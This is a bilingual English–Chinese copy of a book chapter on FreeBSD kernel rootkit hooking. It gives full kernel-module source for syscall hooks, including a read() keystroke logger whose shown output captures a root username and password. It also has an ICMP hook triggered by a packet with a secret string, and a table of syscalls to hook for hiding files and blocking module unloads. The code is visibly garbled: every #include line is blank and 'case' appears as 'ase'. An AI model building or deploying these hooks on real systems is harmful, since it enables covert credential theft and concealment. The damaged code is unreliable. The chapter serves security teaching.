2挂钩
2.1 系统调用挂钩
2.2 击键记录
2.3 进程追踪
2.4 常用的系统调用挂钩
2.5 通信协议
2.5.1 protosw 结构
2.5.2 inetsw[] 转换表
2.5.3 mbuf
2.6 通信协议挂钩
2.7 小结
2
HOOKING
挂钩
We’ll start our discussion of kernel-mode rootkits with call hooking, or simply hooking, which is arguably the most popular technique.
我们将开始探讨使用了调用挂钩或普通挂钩技术的内核模式rootkit。挂钩无疑是最流行的rootikit技术。
Hooking is a programming technique that employs handler functions (called hooks) to modify control flow. A
hook registers its address as the location for a specific function, so
that when that function is called, the hook is run instead. Typically,
a hook will call the original function at some point in order to
preserve the original behavior. Figure 2-1 illustrates the control flow
of a subroutine before and after installing a call hook.
挂钩是一种使用处理程序(叫做挂钩)来修改控制流的编程技术。新的挂钩把它的地址注册为特定函数的地址,这样当那个函数被调用时,挂钩程序就代替它运行。一般,挂钩还会调用原先的函数,目的是维为了持原来的行为。图2-1描绘了调用挂钩在前和安装后,一个子程序的控制流。
Normal Execution Hooked Execution
Function A----->Function B Function A----->Hook------>Function B
Figure 2-1: Normal execution versus hooked execution
As
you can see, hooking is used to extend (or decrease) the functionality
of a subroutine. In terms of rootkit design, hooking is used to alter
the results of the operating system’s application programming
interfaces (APIs), most commonly those involved with bookkeeping and
reporting.
可以看出,挂钩可用来扩展(或削弱)一个子程序的功能。挂钩可按照rootkit的设计目的来修改操作系统的应用程序编程接口(API)的运行效果。通常,我们关心的是那些有记录和报告功能的API。
Now, let’s start abusing the KLD interface.
现在,我们玩弄玩弄KLD接口。
2.1 Hooking a System Call
2.1 系统调用挂钩
Recall
from Chapter 1 that a system call is the entry point through which an
application program requests service from the operating system’s .
By hooking these entry points, a rootkit can alter the data the kernel
returns to any or every user space process. In fact, hooking system
calls is so effective that most (publicly available) rootkits employ it
in some way.
第一章提到,系统调用是一种入口点,应用程序通过它向操作系统请求服务。通过挂住这些入口点,rootkit就能改变内核返回给某个或所有用户空间进程的数据。实际上,系统调用挂钩非常地有效,以至被大多数(可公开获取到的)rootkit在某种程度上都使用到了。
In ,
a system call hook is installed by registering its address as the
system call function within the target system call’s sysent structure
(which is located within sysent[]).
在FreeBSD中,系统调用挂钩是通过把它的地址代替系统调用函数注册到目标系统调用的systen结构体内而实现的。(sysent结构位于sysent[]中)
NOTE For more on system calls, see Section 1.4.
提示 了解更多系统调用的信息,请看章节1.4
Listing
2-1 is an example system call hook (albeit a trivial one) designed to
output a debug message whenever a user space process calls the mkdir
system call—in other words, whenever a directory is created.
清单2-1是一个系统调用挂钩(尽管没什么应用价值)的例子。设计目的是,每当用户空间进程调用mkdir这个系统调用,换句话说,就是每当一个目录被创建时,都会输出一条调试的信息。
--------------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* mkdir system call hook. */
/* mkdir 系统调用挂钩 */
static int
mkdir_hook(struct thread *td, *syscall_args)
{
struct mkdir_args /* {
char *path;
int mode;
} */ *uap;
uap = (struct mkdir_args *)syscall_args;
char path[255];
size_t done;
int error;
error = copyinstr(uap->path, path, 255, &done);
if (error != 0)
return(error);
/* Print a debug message. */
/* 打印一条调试信息 */
uprintf("The directory \"%s\" will be created with the following"
" permissions: %o\n", path, uap->mode);
return(mkdir(td, syscall_args));
}
/* The function called at load/unload. */
/* 模块加载/卸载时调用该函数 */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
/* Replace mkdir with mkdir_hook. */
/* 用 mkdir_hook 替代 mkdir */
/*1*/ sysent[ /*2*/ SYS_mkdir].sy_call = (sy_call_t *)mkdir_hook;
break;
case MOD_UNLOAD:
/* Change everything back to normal. */
/* 把一切还原为原先那样 */
/*3*/ sysent[SYS_mkdir].sy_call = (sy_call_t *)mkdir;
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t mkdir_hook_mod = {
"mkdir_hook", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(mkdir_hook, mkdir_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
--------------------------------------------------------------------------------
Listing 2-1: mkdir_hook.c
清单 2-1: mkdir_hook.c
Notice
that upon module load, the event handler /*1*/ registers mkdir_hook
(which simply prints a debug message and then calls mkdir) as the mkdir
system call function. This single line installs the system call hook.
To remove the hook, simply /*2*/ reinstate the original mkdir system
call function upon module unload.
注意 在模块加载时,事件处理程序把mkdir系统调用替换为mkdir_hook(它简单打印一条调试信息,然后调用mkdir)。这行安装一个系统挂钩。为了移除挂钩,在模块卸载时恢复原先的mkdir系统调用即可。
1
NOTE
The constant /*3*/ SYS_mkdir is defined as the offset value for the
mkdir system call. This constant is defined in the
header, which also contains a complete listing of
all in-kernel system call numbers.
注意 常数SYS_mkdir 是作为mkdir系统调用的偏移值定义的。它定义在头文件中。这个也包含了内核中所有的系统调用号的完整清单。
The following output shows the results of executing mkdir(1) after loading mkdir_hook.
下面的输出显示了加载了mkdir_hook后执行mkdir(1)的结果。
--------------------------------------------------------------------------------
$ sudo kldload ./mkdir_hook.ko
$ mkdir test
The directory "test" will be created with the following permissions: 777
$ ls –l
. . .
drwxr-xr-x 2 ghost ghost 512 Mar 22 08:40 test
--------------------------------------------------------------------------------
As you can see, mkdir(1) is now a lot more verbose.1
可以看到,mkdir(1)命令输出了很长的信息。
2.2 Keystroke Logging
2.2 击键记录
Now let’s look at a more interesting (but still somewhat trivial) example of a
system call hook.
现在我们看一个更有趣(但还不够那么实用)的系统挂钩的示例。
Keystroke logging is the simple act of intercepting and capturing a user’s
keystrokes. In FreeBSD, this can be accomplished by hooking the read system
call.2 As its name implies, this call is responsible for reading in input. Here is
its C library definition:
击键记录是一种截取和记录用户击键的简单动作。在FressBSD中,这可以通过挂住read系统调用来实现。顾名思义,这个系统调用负责从输入读取数据。C库中,它定义为:
--------------------------------------------------------------------------------
#include
#include
#include
ssize_t
read(int fd, void *buf, size_t nbytes);
--------------------------------------------------------------------------------
The read system call reads in nbytes of data from the object referenced by
the descriptor fd into the buffer buf. Therefore, in order to capture a user’s
keystrokes, you simply have to save the contents of buf (before returning
from a read call) whenever fd points to standard input (i.e., file descriptor 0).
For example, take a look at Listing 2-2:
这个read系统调用从由描述符fd指定的对象读取nbytes数量的数据到缓冲buf中。所以,为了捕捉用户的击键,你只要在每次fd指向标准输入时(也就是说,文件描述符 0),把buf的内容保存下来的行了(在read返回前)。我们看看清单2-2这个例子:
--------------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
* read system call hook.
* Logs all keystrokes from stdin.
* Note: This hook does not take into account special characters, such as
* Tab, Backspace, and so on.
*/
/*
* read系统调用挂钩
* 从stdin记录所有的击键
* s注意:这个挂钩没有考虑特殊字母,比如
* Tab, Backspace,等等
*/
------------
1 For you astute readers, yes, I have a umask of 022, which is why the permissions for “test” are 755, not 777.
1 机灵的你可能注意到了,是的,我的umask是022,这是"test"的permission是755而不是777的原因。
2 Actually, to create a full-fledged keystroke logger, you would have to hook read, readv, pread,
and preadv.
2 实际上,为了写一个完全成形的击键记录器,你还得挂住read,readv,pread,和preadv。
static int
read_hook(struct thread *td, void *syscall_args)
{
struct read_args /* {
int fd;
void *buf;
size_t nbyte;
} */ *uap;
uap = (struct read_args *)syscall_args;
int error;
char buf[1];
int done;
/*1*/ error = read(td, syscall_args);
/*2*/ if (error || (!uap->nbyte) || (uap->nbyte > 1) || (uap->fd != 0))
/*3*/ return(error);
/*4*/ copyinstr(uap->buf, buf, 1, &done);
printf("%c\n", buf[0]);
return(error);
}
/* The function called at load/unload. */
/* 模块加载/卸载时调用该函数 */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
/* Replace read with read_hook. */
/* 用read_hook代替read */
sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
break;
case MOD_UNLOAD:
/* Change everything back to normal. */
/* 把一切还原如初 */
sysent[SYS_read].sy_call = (sy_call_t *)read;
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t read_hook_mod = {
"read_hook", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(read_hook, read_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
--------------------------------------------------------------------------------
Listing 2-2: read_hook.c
清单 2-2: read_hook.c
In
Listing 2-2 the function read_hook first /*1*/ calls read to read in
the data from fd. If this data is /*2*/ not a keystroke (which is
defined as one character or one byte in size) originating from standard
input, then /*3*/ read_hook returns. Otherwise, the data (i.e.,
keystroke) is /*4*/ copied into a local buffer, effectively “capturing”
it.
清单2-2中,函数read_hook 首先调用read从fd读取数据。如果这个数据不是发自标准输入的击键(它定义为一个字母或大小是1byte),则read_hook返回。否则,这个数据(也就是击键)被拷贝到本地的缓冲中,有效地"捕捉"到它了。
NOTE
In the interest of saving space (and keeping things simple), read_hook
simply dumps the captured keystroke(s) to the system console.
注意 为了节省空间(和让事情简单),read_hook仅仅是把捕捉到的击键dump到系统控制台中。
Here are the results from logging into a system after loading read_hook:
加载read_hook后,系统中的记录如下
--------------------------------------------------------------------------------
login: root
Password:
Last login: Mon Mar 4 00:29:14 on ttyv2
root@alpha ~# dmesg | tail -n 32
r
o
o
t
p
a
s
s
w
d
. . .
--------------------------------------------------------------------------------
As
you can see, my login credentials—my username (root) and password
(passwd)3—have been captured. At this point, you should be able to hook
any system call. However, one question remains: If you aren’t a kernel
guru, how do you determine which system call(s) to hook? The answer is:
you use kernel process tracing.
你都看到了吧?我的登录验证--我的用户名(root)和密码(passwd)---已经被捕捉了。看来,你应当也能挂住任何一个系统调用。不过,还有一个问题:你还不是一位内核导师,你又怎么知道应当挂钩的是哪个(或哪些)系统调用呢?答案是:使用内核进程追踪。
2.3 Kernel Process Tracing
2.3 内核进程追踪
Kernel
process tracing is a diagnostic and debugging technique used to
intercept and record each kernel operation—that is, every system call,
namei translation, I/O, signal processed, and context switch performed
on behalf of a specific running process. In FreeBSD, this is done with
the ktrace(1) and kdump(1) utilities. For example:
内核进程追踪诊断和调试的技术,用于截取和记录每步内核操作--代表特定运行进程执行的每个系统调用,namei转换,I/O,信号处理,上下文切换等。在FreeBSD,这项工作由实用工具ktrace(1)和kdump(1)完成。例如:
--------------------------------------------------------------------------------
$ ktrace ls
file1 file2 ktrace.out
$ kdump
517 ktrace RET ktrace 0
-------------------
3 Obviously, this is not my real root password.
3 很明显,这不是我真的root密码
517 ktrace CALL execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
517 ktrace NAMI "/sbin/ls"
517 ktrace RET execve -1 errno 2 No such file or directory
517 ktrace CALL execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
517 ktrace NAMI "/bin/ls"
517 ktrace NAMI "/libexec/ld-elf.so.1"
517 ls RET execve 0
. . .
517 ls CALL /*1*/ getdirentries(0x5,0x8054000,0x1000,0x8053014)
517 ls RET getdirentries 512/0x200
517 ls CALL getdirentries(0x5,0x8054000,0x1000,0x8053014)
517 ls RET getdirentries 0
517 ls CALL /*2*/ lseek(0x5,0,0,0,0)
517 ls RET lseek 0
517 ls CALL /*3*/ close(0x5)
517 ls RET close 0
517 ls CALL /*4*/ fchdir(0x4)
517 ls RET fchdir 0
517 ls CALL close(0x4)
517 ls RET close 0
517 ls CALL fstat(0x1,0xbfbfdea0)
517 ls RET fstat 0
517 ls CALL break(0x8056000)
517 ls RET break 0
517 ls CALL ioctl(0x1,TIOCGETA,0xbfbfdee0)
517 ls RET ioctl 0
517 ls CALL write(0x1,0x8055000,0x19)
517 ls GIO fd 1 wrote 25 bytes
"file1 file2 ktrace.out
"
517 ls RET write 25/0x19
517 ls CALL exit(0)
--------------------------------------------------------------------------------
NOTE In the interest of being concise, any output irrelevant to this discussion is omitted.
注意 为了简洁,省去了与本次讨论无关的其他输出。
As
the preceding example shows, the ktrace(1) utility enables kernel trace
logging for a specific process [in this case, ls(1)], while kdump(1)
displays the trace data.
刚才例子显示,工具ktrace(1)能让内核对指定的进程(本例是ls(1))进行跟踪记录,而kdump(1)用于显示跟踪的数据。
Notice
the various system calls that ls(1) issues during its execution, such
as /*1*/ getdirentries, /*2*/ lseek, /*3*/ close, /*4*/ fchdir, and so
on. This means that you can affect the operation and/or output of ls(1)
by hooking one or more of these calls.
注意 ls(1)在它的执行过程中调用了很多的系统调用,比如getdirentries, lseek, close, fchdir 等等。这意味着,你可以通过挂钩这些调用的中一个或多个来影响ls(1)的运作和/或输出。
The
main point to all of this is that when you want to alter a specific
process and you don’t know which system call(s) to hook, you just need
to perform a kernel trace.
所有这些说明一点,当你想去改变特定的进程而你不知道该挂钩哪个或哪些系统调用是,你只需执行一次内核跟踪即可。
2.4 Common System Call Hooks
2.4 常用的系统调用挂钩
For the sake of being thorough, Table 2-1 outlines some of the most common system call hooks.
为了一个全面的了解,表格2-1概括了一些常用的系统调用挂钩
Table 2-1: Common System Call Hooks
表格 2-1: 常用的系统调用挂钩
--------------------------------------------------------------------------------
System Call Purpose of Hook
--------------------------------------------------------------------------------
read, readv, pread, preadv Logging input
write, writev, pwrite, pwritev Logging output
open Hiding file contents
unlink Preventing file removal
chdir Preventing directory traversal
chmod Preventing file mode modification
chown Preventing ownership change
kill Preventing signal sending
ioctl Manipulating ioctl requests
execve Redirecting file execution
rename Preventing file renaming
rmdir Preventing directory removal
stat, lstat Hiding file status
getdirentries Hiding files
truncate Preventing file truncating or extending
kldload Preventing module loading
kldunload Preventing module unloading
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
系统调用 挂钩目的
--------------------------------------------------------------------------------
read, readv, pread, preadv 输入记录
write, writev, pwrite, pwritev 输出记录
open 隐藏文件内容
unlink 禁止删除文件
chdir 禁止切换目录
chmod 禁止修改文件属性
chown 禁止修改所有者
kill 禁止信号传递
ioctl 操作ioctl 请求
execve 重定向文件的执行
rename 禁止重命名文件
rmdir 禁止删除目录
stat, lstat 隐藏文件状态
getdirentries 隐藏文件
truncate 禁止文件截短或扩展
kldload 禁止加载模块
kldunload 禁止卸载模块
--------------------------------------------------------------------------------
Now let’s look at some of the other kernel functions that you can hook.
现在我们看看其他能挂钩的内核函数。
2.5 Communication Protocols
2.5 通信协议
As
its name implies, a communication protocol is a set of rules and
conventions used by two communicating processes (for example, the
TCP/IP protocol suite). In FreeBSD, a communication protocol is defined
by its entries in a protocol switch table. As such, by modifying these
entries, a rootkit can alter the data sent and received by either
communication endpoint. To better illustrate this “attack,” allow me to
digress.
顾名思义,通信协议是通信双方(例如,TCP/IP协议组)使用的一组规则或协定。在FreeBSD中,通信协议通过它
的入口定义在一个协议转换表内。同样的,通过修改这些入口,rootkit可以修改由通信终端任何一方发送或接受的数据。为了更好的演示这样的"攻击",
原谅我偏题了。
2.5.1 The protosw Structure
2.5.1 protosw 结构
The
context of each protocol switch table is maintained in a protosw
structure, which is defined in the header as
follows:
每个通信协议转换表的上下文保存在protosw结构体中。protosw结构提在头文件定义如下:
--------------------------------------------------------------------------------
struct protosw {
short pr_type; /* socket type */
struct domain *pr_domain; /* domain protocol */
short pr_protocol; /* protocol number */
short pr_flags;
/* protocol-protocol hooks */
pr_input_t *pr_input; /* input to protocol (from below) */
pr_output_t *pr_output; /* output to protocol (from above) */
pr_ctlinput_t *pr_ctlinput; /* control input (from below) */
pr_ctloutput_t *pr_ctloutput; /* control output (from above) */
/* user-protocol hook */
pr_usrreq_t *pr_ousrreq;
/* utility hooks */
r_init_t *pr_init;
pr_fasttimo_t *pr_fasttimo; /* fast (200ms) */
pr_slowtimo_t *pr_slowtimo; /* slow timeout (500ms) */
pr_drain_t *pr_drain; /* flush any excess space possible */
struct pr_usrreqs *pr_usrreqs; /* supersedes pr_usrreq() */
};
--------------------------------------------------------------------------------
Table 2-2 defines the entry points in struct protosw that you’ll need to know in order to modify a communication protocol.
表格 2-2 是protosw结构体内一些入口点的说明。这些入口点你必须熟悉,这样才能够修改一个通信协议。
Table 2-2: Protocol Switch Table Entry Points
表格 2-2: 协议转换表入口点
--------------------------------------------------------------------------------
Entry Point Description
pr_init Initialization routine
pr_input Pass data up toward the user
pr_output Pass data down toward the network
pr_ctlinput Pass control information up
pr_ctloutput Pass control information down
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
入口点 描述
pr_init 初始化例程
pr_input 把数据向上传递给用户
pr_output 把数据向下传递给网络
pr_ctlinput 向上传递控制信息
pr_ctloutput 向下传递控制信息
--------------------------------------------------------------------------------
2.5.2 The inetsw[] Switch Table
2.5.2 inetsw[] 转换表
Each
communication protocol’s protosw structure is defined in the file
/sys/netinet/in_proto.c. Here is a snippet from this file:
每一个通信协议的protosw结构体定义在文件/sys/netinet/in_proto.c 中。下面是这个文件的片段:
--------------------------------------------------------------------------------
struct protosw /*1*/ inetsw[] = {
{
.pr_type = 0,
.pr_domain = &inetdomain,
.pr_protocol = IPPROTO_IP,
.pr_init = ip_init,
.pr_slowtimo = ip_slowtimo,
.pr_drain = ip_drain,
.pr_usrreqs = &nousrreqs
},
{
.pr_type = SOCK_DGRAM,
.pr_domain = &inetdomain,
.pr_protocol = IPPROTO_UDP,
.pr_flags = PR_ATOMIC|PR_ADDR,
.pr_input = udp_input,
.pr_ctlinput = udp_ctlinput,
.pr_ctloutput = ip_ctloutput,
.pr_init = udp_init,
.pr_usrreqs = &udp_usrreqs
},
{
.pr_type = SOCK_STREAM,
.pr_domain = &inetdomain,
.pr_protocol = IPPROTO_TCP,
.pr_flags = PR_CONNREQUIRED|PR_IMPLOPCL|PR_WANTRCVD,
.pr_input = tcp_input,
.pr_ctlinput = tcp_ctlinput,
.pr_ctloutput = tcp_ctloutput,
.pr_init = tcp_init,
.pr_slowtimo = tcp_slowtimo,
.pr_drain = tcp_drain,
.pr_usrreqs = &tcp_usrreqs
},
. . .
--------------------------------------------------------------------------------
Notice
that every protocol switch table is defined within /*1*/ inetsw[]. This
means that in order to modify a communication protocol, you have to go
through inetsw[].
我们注意到所有的协议转换表都定义在inetsw[]内部。这意味着,想要修改一个通信协议,你必须要借助inetsw[]。
2.5.3 The mbuf Structure
2.5.3 mbuf 结构体
Data
(and control information) that is passed between two communicating
processes is stored within an mbuf structure, which is defined in the
header. To be able to read and modify this data,
there are two fields in struct mbuf that you’ll need to know: m_len,
which identifies the amount of data contained within the mbuf, and
m_data, which points to the data.
在两个通信进程之间传递的数据(还有控制信息)保存在一个mbuf结构内。mbuf定义在头文件。为了读取和修改数据,mbuf结构体有两个域我们要了解: m_len, 标志包含在mbuf中的数据数量;m_data,它指向数据。
2.6 Hooking a Communication Protocol
2.6 通信协议挂钩
Listing
2-3 is an example communication protocol hook designed to output a
debug message whenever an Internet Control Message Protocol (ICMP)
redirect for Type of Service and message containing the phrase Shiny is received.
NOTE An ICMP redirect for Type of Service and Host message contains a type field of 5 and a code field of 3.
--------------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define TRIGGER "Shiny."
extern struct protosw inetsw[];
pr_input_t icmp_input_hook;
/* icmp_input hook. */
/* icmp_input 挂钩. */
void
icmp_input_hook(struct mbuf *m, int off)
{
struct icmp *icp;
/*1*/ int hlen = off;
/* Locate the ICMP message within m. */
/* 定位m 内的 ICMP 消息 . */
/*2*/ m->m_len -= hlen;
m->m_data += hlen;
/* 提取 ICMP 消息. */
/*3*/ icp = mtod(m, struct icmp *);
/* Restore m. */
/* 恢复 m. */
/*4*/ m->m_len += hlen;
m->m_data -= hlen;
/* Is this the ICMP message we are looking for? */
/* 这个 ICMP 消息是我们正在寻找的吗? */
if(icp->icmp_type == ICMP_REDIRECT &&
icp->icmp_code == ICMP_REDIRECT_TOSHOST &&
strncmp(icp->icmp_data, TRIGGER, 6) == 0)
/*5*/ printf("Let's be bad guys.\n");
else
icmp_input(m, off);
}
/* The function called at load/unload. */
/* 加载/卸载模块时调用这个函数. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
ase MOD_LOAD:
/* Replace icmp_input with icmp_input_hook. */
/* 用icmp_input_hook 代替 icmp_input */
/*6*/ inetsw[ip_protox[IPPROTO_ICMP]].pr_input = icmp_input_hook;
break;
case MOD_UNLOAD:
/* Change everything back to normal. */
/* 把一切还原如初 */
/*7*/ inetsw[/*8*/ ip_protox[IPPROTO_ICMP]].pr_input = icmp_input;
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t icmp_input_hook_mod = {
"icmp_input_hook", /* module name 模块名称*/
load, /* event handler 时间处理程序*/
NULL /* extra data 额外数据*/
};
DECLARE_MODULE(icmp_input_hook, icmp_input_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
--------------------------------------------------------------------------------
Listing 2-3: icmp_input_hook.c
清单 2-3: icmp_input_hook.c
In
Listing 2-3 the function icmp_input_hook first /*1*/ sets hlen to the
received ICMP message’s IP header length (off). Next, the location of
the ICMP message within m is determined; keep in mind that an ICMP
message is transmitted within an IP datagram, which is why /*2*/ m_data
is increased by hlen. Next, the ICMP message is /*3*/ extracted from m.
Thereafter, the changes made to m are /*4*/ reversed, so that when m is
actually processed, it’s as if nothing even happened. Finally, if the
ICMP message is the one we are looking for, /*5*/ a debug message is
printed; otherwise, icmp_input is called.
Notice that upon
module load, the event handler /*6*/ registers icmp_input_hook as the
pr_input entry point within the ICMP switch table. This single line
installs the communication protocol hook. To remove the hook, simply
/*7*/ reinstate the original pr_input entry point (which is icmp_input,
in this case) upon module unload.
NOTE The value of /*8*/
ip_protox[IPPROTO_ICMP] is defined as the offset, within inetsw[], for
the ICMP switch table. For more on ip_protox[], see the ip_init
function in /sys/netinet/ip_input.c.
The following output
shows the results of receiving an ICMP redirect for Type of Service and
Host message after loading icmp_input_hook:
--------------------------------------------------------------------------------
$ sudo kldload ./icmp_input_hook.ko
$ echo Shiny. > payload
$ sudo nemesis icmp -i 5 -c 3 -P ./payload -D 127.0.0.1
ICMP Packet Injected
$ dmesg | tail -n 1
Let's be bad guys.
--------------------------------------------------------------------------------
Admittedly,
icmp_input_hook has some flaws; however, for the purpose of
demonstrating a communication protocol hook, it’s more than sufficient.
无可否认,icmp_input_hook 有些缺陷;但是,对于演示一个通信协议挂钩的目的而言,它已经足够了。
If
you are interested in fixing up icmp_input_hook for use in the real
world, you only need to make two additions. First, make sure that the
IP datagram actually contains an ICMP message before you attempt to
locate it. This can be achieved by checking the length of the data
field in the IP header. Second, make sure that the data within m is
actually there and accessible. This can be achieved by calling
m_pullup. For example code on how to do both of these things, see the
icmp_input function in /sys/netinet/ip_icmp.c.
如果你有兴趣修正
icmp_input_hook ,让它能在实际世界中使用,你只需要完成另外两点。首先,在你试图定位ICMP 消息前,确认IP
数据报确实包含有ICMP
消息。这点可以通过检查IP头中数据域的长度来实现。第二,确认m内的数据确实存在并且是可以访问的。这点可以通过调用m_pullup
来实现。至于完成这两件事情的示例代码,可以查看/sys/netinet/ip_icmp.c 中的icmp_input 函数。
2.7 Concluding Remarks
2.7 小结
As
you can see, call hooking is really all about redirecting function
pointers, and at this point, you should have no trouble doing that.
可以看到,调用挂钩实际上是改变函数,这样看来,你完成它应该没什么困难。
Keep
in mind that there are usually a few different entry points you could
hook in order to accomplish a specific task. For example, in Section
2.2 I created a keystroke logger by hooking the read system call;
however, this can also be accomplished by hooking the l_read entry
point in the terminal line discipline (termios)4 switch table.
要记住的是,为了完成一个特定的任务,通常存在一些不同的入口点可供你挂钩。比如,在章节2.2 中,我通过挂钩read系统调用编写了一个击键记录程序;但是,这个任务还可以通过挂钩终端线路规则(termios)转换表中的l_read 入口点来完成。
For
educational purposes and just for fun, I encourage you to try to hook
the l_read entry point in the termios switch table. To do so, you’ll
need to be familiar with the linesw[] switch table, which is
implemented in the file /sys/kern/tty_conf.c, as well as struct linesw,
which is defined in the header.
本着教育的目的或着仅
仅是为了好玩,我鼓励你尝试挂钩终端线路规则转换表中的l_read
入口点。要实现这点,你得熟悉linesw[]转换表。linesw[]实现在文件/sys/kern/tty_conf.c
中。还得熟悉linesw 结构,它定义在头文件 中。
NOTE This hook entails a bit more work than the ones shown throughout this chapter.
提示 相对于本章演示的其他挂钩,这个挂钩需要稍微更多的工作。
--------------------------
4
The terminal line discipline (termios) is essentially the data
structure used to process communication with a terminal and to describe
its state.
4 终端线路规则(termios)本质上是用于处理关于终端的通讯以及描述它状态的数据结构
阅读(1206) | 评论(0) | 转发(0) |